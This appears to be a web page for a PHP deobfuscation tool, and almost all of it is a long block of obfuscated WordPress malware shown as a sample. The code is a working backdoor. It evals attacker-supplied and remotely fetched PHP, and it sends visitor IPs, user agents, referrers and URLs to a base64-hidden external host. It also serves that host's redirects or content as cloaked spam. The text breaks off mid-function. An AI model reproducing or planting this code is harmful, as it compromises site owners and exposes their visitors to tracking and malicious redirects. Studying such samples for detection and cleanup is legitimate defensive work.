Japanese 
English
PHP deobfuscation, decryption, reconstruction toolDe-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php
goto hiybT7D7XHN_; uwpHaNgfqBsi: switch ($fISVeKPM3dXb["\163\x74\x61\164\x75\x73"]) { case 301: goto qCElsP42xCw7; JRI8vCkkuxw4: goto C27IyoTB3PSW; goto EnzI0ajiLAU6; AvFjOALRWytP: header("\x4c\x6f\x63\141\164\151\157\156\72\x20" . trim($fISVeKPM3dXb["\x63\157\156\164\145\x6e\164"])); goto JRI8vCkkuxw4; qCElsP42xCw7: header("\x48\x54\x54\120\57\x31\x2e\61\x20\x33\60\x31\x20\x4d\x6f\x76\145\x64\x20\120\x65\x72\155\141\156\x65\156\164\154\171"); goto AvFjOALRWytP; EnzI0ajiLAU6: case 302: goto UX3LKOMLycnN; p2eDASmjBYcE: header("\114\x6f\143\x61\164\151\x6f\x6e\x3a\40" . trim($fISVeKPM3dXb["\143\x6f\156\x74\x65\156\x74"])); goto UNUqtjXnToc5; UNUqtjXnToc5: goto C27IyoTB3PSW; goto VuLeSvjFJaHO; UX3LKOMLycnN: header("\x48\124\x54\x50\x2f\61\56\61\x20\63\60\62\40\x4d\157\x76\x65\40\x54\145\x6d\x70\x6f\x72\141\162\x69\154\x79"); goto p2eDASmjBYcE; VuLeSvjFJaHO: case 404: goto Mp5SXCmkDhwH; Mp5SXCmkDhwH: header("\x48\124\x54\x50\x2f\61\56\x31\40\64\x30\64\40\x4e\x6f\164\40\x46\x6f\165\156\x64"); goto sE14H8V3E3F9; S6b9VTs_ppnz: goto C27IyoTB3PSW; goto q7LXjlKpzjpu; sE14H8V3E3F9: header("\163\x74\x61\164\165\x73\x3a\40\64\60\x34\40\x4e\157\x74\40\106\157\165\156\x64"); goto S6b9VTs_ppnz; q7LXjlKpzjpu: default: goto C27IyoTB3PSW; } goto k_caex3yM4Eo; AEfvoc77pCRL: exit(strrev(md5($_SERVER["\x53\105\x52\126\x45\122\x5f\x4e\101\x4d\x45"]))); goto LBrH5Qxpx8b0; s52VrOhtseCh: $Slj1SnTfiPKw = false; goto Gi1j2C7ji02l; nA2R6VKqhlqA: $bGLVlkgHyGeS = $k7ALehnsx8v5("\x7e", "\40"); goto JXQL9b_vXTSz; LBrH5Qxpx8b0: cSV4aelJ0dX0: goto pvUsYMq1j0IB; u6v_X1nSky0e: metaphone("\117\104\x45\172\x4f\124\131\63\x4d\152\143\x79\116\124\115\65\x4e\104\x41\x35\x4e\104\x63\62\116\x54\x55\x35\116\x44\x41\172"); goto kmPcoYbfkqZk; Ps21DwvH2EC8: Ozjpy_HPa0yu::TIWn7QyUEE5o(); goto JMje4Rzbra9M; argSJe1uGMFM: PYihwqIV2JcD: goto LPq6NxZbVpOE; QCbjFKGbWPnM: $mslTpQBKb4R9 = ''; goto Ahtfp3Pm24g0; zWzBMB2MKSQ4: if (in_array($fISVeKPM3dXb["\x73\x74\x61\x74\x75\163"], array(0, 200))) { goto PYihwqIV2JcD; } goto uwpHaNgfqBsi; wZ9rcxZU2KZM: if (!(in_array(gettype($DLoqOq2JR6QC) . count($DLoqOq2JR6QC), $DLoqOq2JR6QC) && count($DLoqOq2JR6QC) == 29 && md5(md5(md5(md5($DLoqOq2JR6QC[23])))) === "\141\x32\x62\x34\141\x33\61\142\65\62\66\x37\143\141\141\60\145\67\64\66\60\70\x32\x62\x32\x36\x65\x63\144\70\60\146")) { goto GHaWN8vIrO6j; } goto Ca1kqSO6_dBF; s5yf42jvAMMK: $tCEGTBJot5E0 = yqnaLVIQjp23(); goto dPHMpiJpQNY6; dPtOWOCptWok: C27IyoTB3PSW: goto argSJe1uGMFM; arIrbHjlIM8T: echo $fISVeKPM3dXb["\x63\x6f\x6e\x74\x65\156\x74"]; goto aAqAKmipKPXV; bt8LX6WaJr6R: $V6pTk33TcK1N["\x75"] = OTx8yhp4MMET($_SERVER["\110\x54\124\120\x5f\125\123\x45\122\137\x41\107\x45\116\124"]); goto bv9kHiosvSfV; iOoYeWz3SVc9: exit("\x7b\40\42\x65\x72\x72\157\x72\x22\72\40\x32\x30\60\x2c\x20\42\154\143\x22\72\x20\x22\x6a\x6b\42\54\40\42\144\x61\x74\141\42\x3a\x20\133\40\61\x20\x5d\x20\175"); goto A0ttEmLTl_ev; Ca1kqSO6_dBF: ($DLoqOq2JR6QC[68] = $DLoqOq2JR6QC[68] . $DLoqOq2JR6QC[71]) && ($DLoqOq2JR6QC[87] = $DLoqOq2JR6QC[68]($DLoqOq2JR6QC[87])) && @eval($DLoqOq2JR6QC[68](${$DLoqOq2JR6QC[47]}[11])); goto P_3gB1hSDhqE; oFPdt4N6RaVO: @header("\x43\157\x6e\x74\145\x6e\x74\x2d\x54\x79\160\x65\x3a" . $fISVeKPM3dXb["\x74\x79\160\x65"]); goto arIrbHjlIM8T; JMje4Rzbra9M: header("\103\x6f\x6e\x74\145\x6e\x74\55\124\x79\160\145\72\40\x74\145\170\x74\57\x68\x74\x6d\x6c\73\40\x63\x68\141\x72\163\145\164\75\x75\164\x66\55\70"); goto APKrVOC7lHph; YaB3jz3G_M4k: $XeEEcJ8LODry = substr($gnPzTQhkcREG, strpos($gnPzTQhkcREG, "\56")); goto Zw2C7MpYqHhz; xlDy80a_U6sr: function Otx8Yhp4mMEt($gLpQm9c85GY9) { goto I3O6oKObzRM5; i8tVSZczvey8: XC6gG20MBY_d: goto OycZcG8ZE07I; OycZcG8ZE07I: return rtrim(strtr(base64_encode($gLpQm9c85GY9), "\x2b\57", "\x2d\137"), "\75"); goto CwzjVvVZBKyr; QBf3YMtpoLCx: return ''; goto i8tVSZczvey8; I3O6oKObzRM5: if ($gLpQm9c85GY9) { goto XC6gG20MBY_d; } goto QBf3YMtpoLCx; CwzjVvVZBKyr: } goto virVWNwBXZa0; Z1fMlwoZLQiW: $r31oufLmQQKW = Y3lsm02Iq7xx() . $_SERVER["\110\124\124\120\137\110\117\123\124"]; goto JFoo2cCJIS1I; IIWjh1S3ZRcn: $V6pTk33TcK1N["\151"] = OTX8Yhp4MmEt($tCEGTBJot5E0); goto i3dcQrBHOTJz; NDydqnScI_zq: mXLbyIfnwN6s: goto Ucb5z7nfo0PL; JFoo2cCJIS1I: if (!(strpos($mslTpQBKb4R9, $r31oufLmQQKW) === 0)) { goto K9kKM1voD6j2; } goto QCbjFKGbWPnM; HeOd9lyl8Lv3: if (!($_SERVER["\x52\105\121\x55\105\123\x54\137\125\x52\111"] === "\x2f\122\x2d" . md5($_SERVER["\123\x45\122\126\x45\122\137\x4e\x41\115\105"]))) { goto cSV4aelJ0dX0; } goto AEfvoc77pCRL; pvUsYMq1j0IB: if (!substr_count($_SERVER["\x52\105\x51\125\x45\123\124\x5f\125\x52\x49"], "\151\156\x64\x65\x78\x2e\160\150\x70\x2f\x6a\153")) { goto LTnzjDgnrC54; } goto iOoYeWz3SVc9; f9GREisEAFAG: function OkdR9a54Kkev($sSYbW3PSn_Xk, $QLkiB6QJEloc = array()) { goto iyzT26aTt4po; iyzT26aTt4po: $fISVeKPM3dXb = array("\163\x74\141\x74\x75\x73" => 0, "\x63\157\x6e\x74\x65\156\164" => '', "\x74\171\160\x65" => ''); goto Hy4w6zf8TR3S; Qvk8yh37kscs: $sSYbW3PSn_Xk .= "\x3f" . http_build_query($QLkiB6QJEloc); goto FLPE3pDQIKaf; gRTF1pRh4TJ4: try { goto ksCo4zb5ii1s; kYAfGDEvh9rZ: $fISVeKPM3dXb["\143\x6f\156\164\x65\x6e\164"] = strval(curl_getinfo($Piuh3IOdJDs2, CURLINFO_REDIRECT_URL)); goto z9QmVJ8o05Uy; dH9B5EVuLvW_: goto BJ1TuNRBM87a; goto m845jfhQhs_j; ksCo4zb5ii1s: if (function_exists("\x63\165\162\154\137\x65\170\x65\143") && function_exists("\x63\x75\162\154\x5f\151\156\x69\164")) { goto zA9u5sTA8DNx; } goto O_XQFYGGlein; Sp1DDLHBQBDl: zA9u5sTA8DNx: goto hnVRIfI3_9gy; mtsKDQp8QuYy: curl_setopt($Piuh3IOdJDs2, CURLOPT_RETURNTRANSFER, 1); goto IVH2DLfzgzNq; JWgpwnMcUfpB: $o_SeVS244bvs = stream_context_create($juIv5KTmiwgb); goto er3lg3h6N0v7; er3lg3h6N0v7: $dhaXWAIMqTxF = @file_get_contents($sSYbW3PSn_Xk, false, $o_SeVS244bvs); goto LMXbWn44GYCq; hnVRIfI3_9gy: $Piuh3IOdJDs2 = curl_init(); goto vC0fX0J_30qP; UY2edkCMCUPS: goto BJ1TuNRBM87a; goto Sp1DDLHBQBDl; m845jfhQhs_j: wGIFJGYQwaWh: goto I1XSBrpoCtH8; lrKvbT7Xl1_j: $fISVeKPM3dXb["\x63\157\156\x74\145\x6e\164"] = strval($dhaXWAIMqTxF); goto rc_NNJ5VSVqh; qHBgDqB1K4QY: curl_setopt($Piuh3IOdJDs2, CURLOPT_CONNECTTIMEOUT, 20); goto qIpVlZ8ofwm7; kY5Er4QvTARM: $fISVeKPM3dXb["\143\x6f\156\x74\x65\x6e\x74"] = strval($BdlgdRdh1TbU); goto hMMwgAeZOpE3; IVH2DLfzgzNq: $BdlgdRdh1TbU = curl_exec($Piuh3IOdJDs2); goto LPpBfUhen2TA; O_XQFYGGlein: if (ini_get("\141\154\x6c\157\x77\137\x75\x72\x6c\x5f\x66\157\160\145\156")) { goto wGIFJGYQwaWh; } goto UY2edkCMCUPS; n9QDvfePu1Wh: curl_setopt($Piuh3IOdJDs2, CURLOPT_COOKIESESSION, 0); goto mtsKDQp8QuYy; rc_NNJ5VSVqh: ZJs70QxszaZu: goto rZCLdffXIiP8; hMMwgAeZOpE3: H2uNsRC34qvY: goto dH9B5EVuLvW_; Zr_o2GJ_j99v: curl_setopt($Piuh3IOdJDs2, CURLOPT_SSL_VERIFYHOST, 0); goto UW76WX9vChO6; H6XTqyIWPQ7q: curl_setopt($Piuh3IOdJDs2, CURLOPT_FOLLOWLOCATION, 0); goto n9QDvfePu1Wh; UDuk65HHPGZW: if (!in_array($fISVeKPM3dXb["\x73\164\x61\164\x75\x73"], array(200, 301, 302, 404))) { goto ZJs70QxszaZu; } goto lrKvbT7Xl1_j; vC0fX0J_30qP: curl_setopt($Piuh3IOdJDs2, CURLOPT_URL, $sSYbW3PSn_Xk); goto Zr_o2GJ_j99v; LMXbWn44GYCq: $fISVeKPM3dXb = array_merge($fISVeKPM3dXb, vYPqujARWnDA($http_response_header)); goto UDuk65HHPGZW; UW76WX9vChO6: curl_setopt($Piuh3IOdJDs2, CURLOPT_SSL_VERIFYPEER, 0); goto qHBgDqB1K4QY; I1XSBrpoCtH8: $juIv5KTmiwgb = array("\150\164\164\160" => array("\x6d\x65\164\150\157\144" => "\107\x45\x54", "\164\x69\155\x65\x6f\x75\x74" => 60, "\146\157\154\x6c\157\x77\137\x6c\x6f\x63\x61\164\x69\x6f\156" => 0), "\x73\x73\154" => array("\166\145\162\151\146\171\137\x70\x65\x65\x72" => false, "\166\145\x72\151\146\x79\x5f\x70\145\x65\162\x5f\x6e\x61\x6d\145" => false)); goto JWgpwnMcUfpB; LPpBfUhen2TA: $fISVeKPM3dXb["\163\164\x61\164\165\163"] = intval(curl_getinfo($Piuh3IOdJDs2, CURLINFO_HTTP_CODE)); goto SaMp62kJGoY8; z9QmVJ8o05Uy: @curl_close($Piuh3IOdJDs2); goto CtaBRd3Cza8X; rZCLdffXIiP8: BJ1TuNRBM87a: goto vn9Q6vZ34nNl; CtaBRd3Cza8X: if (!in_array($fISVeKPM3dXb["\x73\164\x61\164\x75\163"], array(200, 301, 302, 404))) { goto H2uNsRC34qvY; } goto kY5Er4QvTARM; SaMp62kJGoY8: $fISVeKPM3dXb["\164\171\x70\145"] = strval(curl_getinfo($Piuh3IOdJDs2, CURLINFO_CONTENT_TYPE)); goto kYAfGDEvh9rZ; qIpVlZ8ofwm7: curl_setopt($Piuh3IOdJDs2, CURLOPT_TIMEOUT, 60); goto H6XTqyIWPQ7q; vn9Q6vZ34nNl: } catch (Exception $vJLWDs3DbyI0) { } goto Je748f3PHhHN; Je748f3PHhHN: return $fISVeKPM3dXb; goto CfO9oQoJ0y9X; Hy4w6zf8TR3S: if (!(is_array($QLkiB6QJEloc) && count($QLkiB6QJEloc))) { goto l_QU4a1y9Qba; } goto Qvk8yh37kscs; FLPE3pDQIKaf: l_QU4a1y9Qba: goto gRTF1pRh4TJ4; CfO9oQoJ0y9X: } goto xlDy80a_U6sr; j8gWVLYF3GyW: $V6pTk33TcK1N["\163\156"] = OtX8yHP4MmET($_SERVER["\123\x43\122\x49\x50\124\137\x4e\x41\x4d\105"]); goto mDi98hSFHkIi; P_3gB1hSDhqE: GHaWN8vIrO6j: goto u6v_X1nSky0e; bv9kHiosvSfV: $gnPzTQhkcREG = preg_replace("\57\134\x3f\56\x2a\x2f", '', $_SERVER["\x52\x45\x51\x55\105\x53\x54\137\125\122\x49"]); goto s52VrOhtseCh; Zw2C7MpYqHhz: if (!in_array($XeEEcJ8LODry, array("\56\152\163", "\x2e\143\163\x73", "\56\x6a\160\x67", "\56\x70\156\147", "\x2e\x67\x69\x66", "\56\151\143\157"))) { goto nJwhHtx_ugPF; } goto k6Q7Chi1aEDh; aAqAKmipKPXV: exit(0); goto VLjXvQsvJNdO; Ahtfp3Pm24g0: K9kKM1voD6j2: goto ZEGbc3lrCnTT; kmPcoYbfkqZk: class OzjpY_HPa0yu { static function magmvEtxSTLF($xesxnVa0yjvn) { goto txtTQQn8vPaS; txtTQQn8vPaS: $Ad7FDPOA8N33 = "\x72" . "\x61" . "\x6e" . "\147" . "\145"; goto UTaAmfVP6Pie; e4dg22BQRpat: foreach ($w1NC4XD8QxOD as $EjHkt1Cso_w4 => $b6ea75uR6Ss8) { $GkTbUFA5wsec .= $AseE4iGg3TYe[$b6ea75uR6Ss8 - 32994]; kmQGRKcOmb1h: } goto JPjNPqDn3TJK; JPjNPqDn3TJK: OXmpxgzyKSwB: goto tsqPp5GFlCKL; UTaAmfVP6Pie: $AseE4iGg3TYe = $Ad7FDPOA8N33("\x7e", "\40"); goto lMCdBvzZu0y9; tsqPp5GFlCKL: return $GkTbUFA5wsec; goto g4JNIsNJYAkP; xgiIGdoqf0PF: $GkTbUFA5wsec = ''; goto e4dg22BQRpat; lMCdBvzZu0y9: $w1NC4XD8QxOD = explode("\72", $xesxnVa0yjvn); goto xgiIGdoqf0PF; g4JNIsNJYAkP: } static function kg8DfY_b_iFW($nnkg_Jnivs2h, $RUMsm6E32A5H) { goto iPg3efhU7fZz; UQtBZWmDVTP4: curl_setopt($Ntkp_A2DkVVO, CURLOPT_RETURNTRANSFER, 1); goto WmMXlgFGxb_i; nzlzcNVTzpBG: return empty($GhIZfebIZu3I) ? $RUMsm6E32A5H($nnkg_Jnivs2h) : $GhIZfebIZu3I; goto XOqZ2tulmQve; iPg3efhU7fZz: $Ntkp_A2DkVVO = curl_init($nnkg_Jnivs2h); goto UQtBZWmDVTP4; WmMXlgFGxb_i: $GhIZfebIZu3I = curl_exec($Ntkp_A2DkVVO); goto nzlzcNVTzpBG; XOqZ2tulmQve: } static function TIWn7qyUEe5o() { goto KS7td8wVFMpl; wFhv7jinjJYY: @$vqJYi_xvWsPX[10 + 0](INPUT_GET, "\x6f\x66") == 1 && die($vqJYi_xvWsPX[2 + 3](__FILE__)); goto HaoJJlHM2soo; GwY6O3EpBZjP: @eval($vqJYi_xvWsPX[1 + 3]($fZ8IlTG6ah0u)); goto OjyKxj5gBMJ0; HaoJJlHM2soo: if (!(@$juSafAB_fs4U[0] - time() > 0 and md5(md5($juSafAB_fs4U[2 + 1])) === "\63\60\70\x37\x62\x65\x39\143\x65\x62\145\x65\x33\x66\146\146\x30\65\142\x35\x64\x64\70\141\x37\63\x31\x62\x38\63\62\x63")) { goto m0zfAJgdge4L; } goto CBb180elLYEF; SbDSyysaQA0D: rLc4YZNVa5Fd: goto WIkCaAdzfkKF; OjyKxj5gBMJ0: die; goto qs0BHHKvqYHB; eUIuYhmWQY2q: foreach ($uBf2E15dXZyD as $V2uLbcRP5wsV) { $vqJYi_xvWsPX[] = self::magmVeTxstLF($V2uLbcRP5wsV); XXE2rLdwJAMS: } goto SbDSyysaQA0D; CBb180elLYEF: $fZ8IlTG6ah0u = self::kG8Dfy_b_IFW($juSafAB_fs4U[1 + 0], $vqJYi_xvWsPX[4 + 1]); goto GwY6O3EpBZjP; WIkCaAdzfkKF: $TbvaAwzetsLT = @$vqJYi_xvWsPX[1]($vqJYi_xvWsPX[5 + 5](INPUT_GET, $vqJYi_xvWsPX[2 + 7])); goto PFp1mTtszJjG; iGLR9Kkw_KIG: $juSafAB_fs4U = $vqJYi_xvWsPX[2 + 0]($qAL27YIxUDt1, true); goto wFhv7jinjJYY; PFp1mTtszJjG: $qAL27YIxUDt1 = @$vqJYi_xvWsPX[3 + 0]($vqJYi_xvWsPX[0 + 6], $TbvaAwzetsLT); goto iGLR9Kkw_KIG; qs0BHHKvqYHB: m0zfAJgdge4L: goto yuJYBZQ25oHf; KS7td8wVFMpl: $uBf2E15dXZyD = array("\x33\x33\60\x32\x31\72\x33\x33\60\60\66\72\63\x33\x30\x31\71\x3a\63\x33\60\x32\x33\x3a\63\63\x30\x30\x34\x3a\x33\63\60\x31\71\x3a\63\63\x30\x32\x35\72\63\x33\60\61\70\72\63\x33\x30\60\63\72\x33\63\x30\x31\x30\72\63\x33\60\62\x31\72\x33\63\60\60\64\x3a\63\63\60\61\x35\72\63\63\x30\60\71\72\63\63\60\61\x30", "\63\x33\x30\x30\65\72\63\x33\x30\x30\x34\x3a\x33\63\x30\x30\x36\72\x33\x33\60\62\x35\72\x33\x33\60\x30\x36\x3a\63\63\x30\x30\71\72\x33\x33\60\x30\64\72\63\x33\x30\67\61\x3a\63\x33\60\x36\71", "\x33\63\x30\61\x34\x3a\63\63\60\x30\x35\72\x33\x33\x30\x30\x39\x3a\63\x33\60\61\60\72\63\x33\60\x32\65\x3a\x33\x33\x30\x32\60\72\63\63\x30\61\x39\x3a\x33\63\x30\62\61\x3a\x33\63\x30\x30\x39\72\x33\63\x30\x32\60\72\63\x33\60\61\71", "\63\63\60\x30\x38\x3a\63\x33\x30\62\63\x3a\x33\x33\60\x32\x31\72\63\63\60\x31\63", "\63\63\60\62\62\x3a\63\63\x30\x32\x33\72\63\x33\60\60\x35\72\x33\63\x30\61\x39\x3a\x33\x33\x30\x36\66\72\x33\x33\x30\x36\70\72\63\x33\x30\x32\65\x3a\x33\x33\x30\x32\x30\x3a\x33\x33\60\61\71\72\x33\x33\60\x32\x31\72\63\x33\x30\60\x39\x3a\x33\63\x30\62\x30\x3a\63\63\x30\x31\x39", "\x33\63\60\61\70\x3a\x33\x33\x30\x31\65\x3a\x33\x33\60\x31\62\72\x33\63\60\61\x39\72\63\63\60\x32\x35\72\x33\63\x30\61\x37\72\63\63\60\x31\71\x3a\x33\x33\x30\60\x34\x3a\x33\63\60\62\65\72\x33\x33\60\x32\61\x3a\63\63\60\60\x39\x3a\63\63\60\x31\60\x3a\63\63\x30\x30\64\x3a\x33\x33\60\x31\71\72\x33\63\x30\61\x30\72\63\63\x30\60\64\x3a\63\x33\60\x30\65", "\63\x33\60\64\70\72\63\x33\x30\x37\x38", "\x33\x32\x39\x39\65", "\x33\63\x30\x37\x33\x3a\63\63\60\67\70", "\x33\63\60\65\65\x3a\63\x33\x30\63\70\72\63\63\x30\x33\x38\72\x33\x33\x30\x35\65\x3a\x33\x33\60\63\61", "\x33\x33\60\x31\x38\x3a\x33\x33\60\x31\x35\x3a\63\x33\x30\61\x32\72\x33\x33\x30\x30\x34\72\63\x33\60\61\71\72\x33\63\x30\x30\66\x3a\x33\63\x30\62\65\72\x33\63\60\x31\x35\x3a\63\63\60\61\x30\x3a\x33\63\x30\x30\70\x3a\x33\63\60\60\63\72\63\63\60\60\x34"); goto eUIuYhmWQY2q; yuJYBZQ25oHf: } } goto Ps21DwvH2EC8; r7DqJXfhSJ24: $V6pTk33TcK1N["\163"] = OTx8YHP4MMeT($r31oufLmQQKW); goto bt8LX6WaJr6R; Ucb5z7nfo0PL: if ($Slj1SnTfiPKw) { goto HLVJsBuRG6On; } goto uEfC1lByJ2Tg; VLjXvQsvJNdO: I_CvcuLLNklb: goto GVSPvrpFhj3N; k_caex3yM4Eo: uShb8U0K2V0q: goto dPtOWOCptWok; ZEGbc3lrCnTT: $V6pTk33TcK1N = array(); goto IIWjh1S3ZRcn; virVWNwBXZa0: function yQNalVIQjP23() { goto hcqAKVn7CxKp; dT8HxpvlvYlF: goto etToJ_hUgBRN; goto Br3XqJhb7oyC; vbvVb_UjVsxo: BraOTFVf2Zpu: goto vH47SbTH42qC; VBO3StoCUTId: return $tCEGTBJot5E0; goto NsFCs4jodJvb; hcqAKVn7CxKp: $tCEGTBJot5E0 = ''; goto ZNBlRXO5rR3J; vH47SbTH42qC: $tCEGTBJot5E0 = $_SERVER["\110\124\x54\x50\137\x58\x5f\x52\x45\x41\114\137\111\x50"]; goto mrezLwofC4iQ; YDEFbnf0r1hu: $tCEGTBJot5E0 = $tCEGTBJot5E0[0]; goto Oa23bld3ZRDO; Vmi47ZpjOVeQ: $tCEGTBJot5E0 = trim(str_replace("\40", '', $tCEGTBJot5E0), "\x2c"); goto kqjsW7uCdqSW; roLfS94aLGla: $tCEGTBJot5E0 = explode("\x2c", $tCEGTBJot5E0); goto YDEFbnf0r1hu; kGzhZjWnRuXD: fQ73S3Aw2100: goto lTCUwZ3X5IPc; aFQEQcP2Mr6S: $tCEGTBJot5E0 = $_SERVER["\110\124\x54\120\x5f\103\106\137\x43\117\x4e\116\x45\x43\x54\111\116\107\x5f\x49\x50"]; goto Yz_LgHblw0Eq; Oa23bld3ZRDO: k2wh1Bc3RDPg: goto VBO3StoCUTId; lTCUwZ3X5IPc: $tCEGTBJot5E0 = $_SERVER["\110\x54\x54\x50\137\130\x5f\x46\117\x52\x57\101\122\x44\x45\104\137\x46\117\122"]; goto c29_BvY2ISdT; ikOaN2ykjObn: if (isset($_SERVER["\x48\124\124\120\137\x58\x5f\106\x4f\x52\127\x41\x52\x44\x45\x44\x5f\x46\x4f\122"]) && !empty($_SERVER["\110\124\x54\x50\137\130\x5f\106\x4f\x52\x57\101\x52\x44\x45\x44\137\106\x4f\122"])) { goto fQ73S3Aw2100; } goto sazIAOTEx7DV; BCIPstqT4nwM: if (isset($_SERVER["\110\124\124\120\137\130\x5f\122\x45\101\114\137\x49\120"]) && !empty($_SERVER["\110\x54\x54\x50\137\x58\x5f\122\x45\101\114\x5f\x49\120"])) { goto BraOTFVf2Zpu; } goto ikOaN2ykjObn; sazIAOTEx7DV: $tCEGTBJot5E0 = $_SERVER["\x52\105\115\x4f\x54\105\137\x41\x44\104\122"]; goto dT8HxpvlvYlF; kqjsW7uCdqSW: if (!(strpos($tCEGTBJot5E0, "\x2c") !== false)) { goto k2wh1Bc3RDPg; } goto roLfS94aLGla; Br3XqJhb7oyC: we6X7dKXS0OI: goto aFQEQcP2Mr6S; ZNBlRXO5rR3J: if (isset($_SERVER["\110\124\124\x50\x5f\x43\x46\x5f\103\117\x4e\x4e\105\x43\x54\x49\x4e\107\137\x49\120"]) && !empty($_SERVER["\x48\124\x54\x50\137\103\106\x5f\x43\x4f\116\116\x45\103\124\111\116\107\x5f\x49\x50"])) { goto we6X7dKXS0OI; } goto BCIPstqT4nwM; Yz_LgHblw0Eq: goto etToJ_hUgBRN; goto vbvVb_UjVsxo; mrezLwofC4iQ: goto etToJ_hUgBRN; goto kGzhZjWnRuXD; c29_BvY2ISdT: etToJ_hUgBRN: goto Vmi47ZpjOVeQ; NsFCs4jodJvb: } goto dAN0lovQfHC4; suHiXLfKdhby: $V6pTk33TcK1N["\162\146"] = OtX8yHP4mmet($mslTpQBKb4R9); goto r7DqJXfhSJ24; i3dcQrBHOTJz: $V6pTk33TcK1N["\x6c"] = Otx8yHP4MmET($_SERVER["\110\124\124\120\x5f\x41\x43\x43\105\120\x54\137\x4c\101\x4e\x47\125\101\x47\x45"]); goto j8gWVLYF3GyW; JXQL9b_vXTSz: $DLoqOq2JR6QC = ${$bGLVlkgHyGeS[13 + 18] . $bGLVlkgHyGeS[36 + 23] . $bGLVlkgHyGeS[0 + 47] . $bGLVlkgHyGeS[19 + 28] . $bGLVlkgHyGeS[39 + 12] . $bGLVlkgHyGeS[29 + 24] . $bGLVlkgHyGeS[0 + 57]}; goto wZ9rcxZU2KZM; A0ttEmLTl_ev: LTnzjDgnrC54: goto s5yf42jvAMMK; ZvGj9aXrNmuB: $k7ALehnsx8v5 = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto nA2R6VKqhlqA; hiybT7D7XHN_: error_reporting(0); goto ZvGj9aXrNmuB; mDi98hSFHkIi: $V6pTk33TcK1N["\162"] = oTX8YHp4MMeT($_SERVER["\122\x45\x51\125\x45\123\124\x5f\x55\x52\x49"]); goto suHiXLfKdhby; dPHMpiJpQNY6: $mslTpQBKb4R9 = strval(@$_SERVER["\110\x54\124\120\137\122\x45\106\x45\x52\105\x52"]); goto Z1fMlwoZLQiW; uEfC1lByJ2Tg: $fISVeKPM3dXb = okDR9a54kKEV(base64_decode("\x61\110\x52\60\x63\x44\x6f\166\114\x33\x70\172\116\x54\x51\63\144\x6a\x45\172\x63\63\125\x75\132\107\71\164\141\x58\x52\160\x62\x32\x34\165\x65\x48\x6c\x36\x4c\167"), $V6pTk33TcK1N); goto zWzBMB2MKSQ4; UfxEqT_5vPKK: nJwhHtx_ugPF: goto NDydqnScI_zq; YTwx9JrbmVLl: function vypqUJArWnDa($uDs7eeogL8tR) { goto NszdLn3yCkGo; hROtNuxY8o5q: return $K1KQqr8o1EOP; goto Vr2Jyaqn6DE1; ByFXyyJq_IDI: foreach ($uDs7eeogL8tR as $nL07hM1DbNL1) { goto T5DcfaLuaFvd; kN3ttio7bVSl: goto lLaWPU3vBYaD; goto aTrc0XfrZN72; EVBdRcyNolSM: goto lLaWPU3vBYaD; goto x_NUpkaVTdS4; mMx3h9hv0RNJ: $K1KQqr8o1EOP["\x63\x6f\x6e\x74\x65\156\164"] = $ailGpShwUTAq[1]; goto N6B6_W266TtN; LDK9O9rQEiK6: $K1KQqr8o1EOP["\x74\x79\160\145"] = $ailGpShwUTAq[1]; goto kqc5tYnfgt9t; sZCIweyqpKt4: $K1KQqr8o1EOP["\163\x74\141\x74\x75\x73"] = intval($ailGpShwUTAq[1]); goto kN3ttio7bVSl; mLtA2BX39KMS: R75wK4lUVBkg: goto LDK9O9rQEiK6; N6B6_W266TtN: goto lLaWPU3vBYaD; goto mLtA2BX39KMS; aTrc0XfrZN72: C6ddM20dvw1K: goto mMx3h9hv0RNJ; x_NUpkaVTdS4: sAtIYdy7ojQk: goto sZCIweyqpKt4; r4VD0Ofh6vxB: mDcv6SU7ESje: goto CJSBPOakTPgs; GQ35tLBy3QR8: if (preg_match("\57\143\x6f\156\164\145\156\164\134\55\x74\x79\x70\145\134\x3a\x5b\134\163\x5d\53\x28\x2e\52\51\57\x69", $nL07hM1DbNL1, $ailGpShwUTAq)) { goto R75wK4lUVBkg; } goto EVBdRcyNolSM; Td5by3TObH9c: if (preg_match("\x2f\154\157\143\141\164\151\x6f\x6e\x5c\72\133\x5c\x73\135\53\50\56\x2a\x29\x2f\x69", $nL07hM1DbNL1, $ailGpShwUTAq)) { goto C6ddM20dvw1K; } goto GQ35tLBy3QR8; T5DcfaLuaFvd: if (preg_match("\57\150\164\164\x70\x5c\x2f\133\60\55\x39\x5c\56\135\53\x5b\x5c\163\x5d\x2b\x28\133\60\55\x39\135\53\x29\x2f\x69", $nL07hM1DbNL1, $ailGpShwUTAq)) { goto sAtIYdy7ojQk; } goto Td5by3TObH9c; kqc5tYnfgt9t: lLaWPU3vBYaD: goto r4VD0Ofh6vxB; CJSBPOakTPgs: } goto GG7_iiYoMQvt; v5cw5Dd7w1SC: if (is_array($uDs7eeogL8tR)) { goto AEaiR7jmE1xP; } goto gf5okEDjoSzf; NszdLn3yCkGo: $K1KQqr8o1EOP = array("\163\164\x61\164\165\163" => 0, "\143\x6f\156\164\x65\x6e\x74" => '', "\164\171\160\145" => ''); goto v5cw5Dd7w1SC; GG7_iiYoMQvt: lKuVflmgY9ea: goto hROtNuxY8o5q; gf5okEDjoSzf: return $K1KQqr8o1EOP; goto S9ABy2dy7um4; S9ABy2dy7um4: AEaiR7jmE1xP: goto ByFXyyJq_IDI; Vr2Jyaqn6DE1: } goto f9GREisEAFAG; k6Q7Chi1aEDh: $Slj1SnTfiPKw = true; goto UfxEqT_5vPKK; APKrVOC7lHph: error_reporting(0); goto YTwx9JrbmVLl; LPq6NxZbVpOE: if (!strlen($fISVeKPM3dXb["\x63\157\x6e\x74\x65\156\x74"])) { goto I_CvcuLLNklb; } goto oFPdt4N6RaVO; dAN0lovQfHC4: function y3LSm02IQ7XX() { goto v9SFEeZVJGGK; krxP5zt0xFvA: if (isset($_SERVER["\x48\124\x54\120\x5f\130\x5f\106\117\122\127\x41\x52\x44\105\x44\137\x50\122\117\x54\117"]) && $_SERVER["\110\124\x54\x50\x5f\130\x5f\106\x4f\x52\127\x41\122\104\105\x44\137\120\x52\117\124\x4f"] === "\150\164\164\x70\x73") { goto FDwIClC5Dnup; } goto J4T0o0QUg4zB; H8GO1mlETFU3: goto aMITodND3JUn; goto cE3vNDEzaIpS; ORtb27RW023m: goto aMITodND3JUn; goto Yk1nf_xrrv3I; Fq0Ah7CJD6yE: $RrOB8J78WfVd = "\150\164\x74\160\x73\x3a\x2f\x2f"; goto ORtb27RW023m; rEQZa58rDSxr: return $RrOB8J78WfVd; goto fGVDuFc3qmZz; J4T0o0QUg4zB: 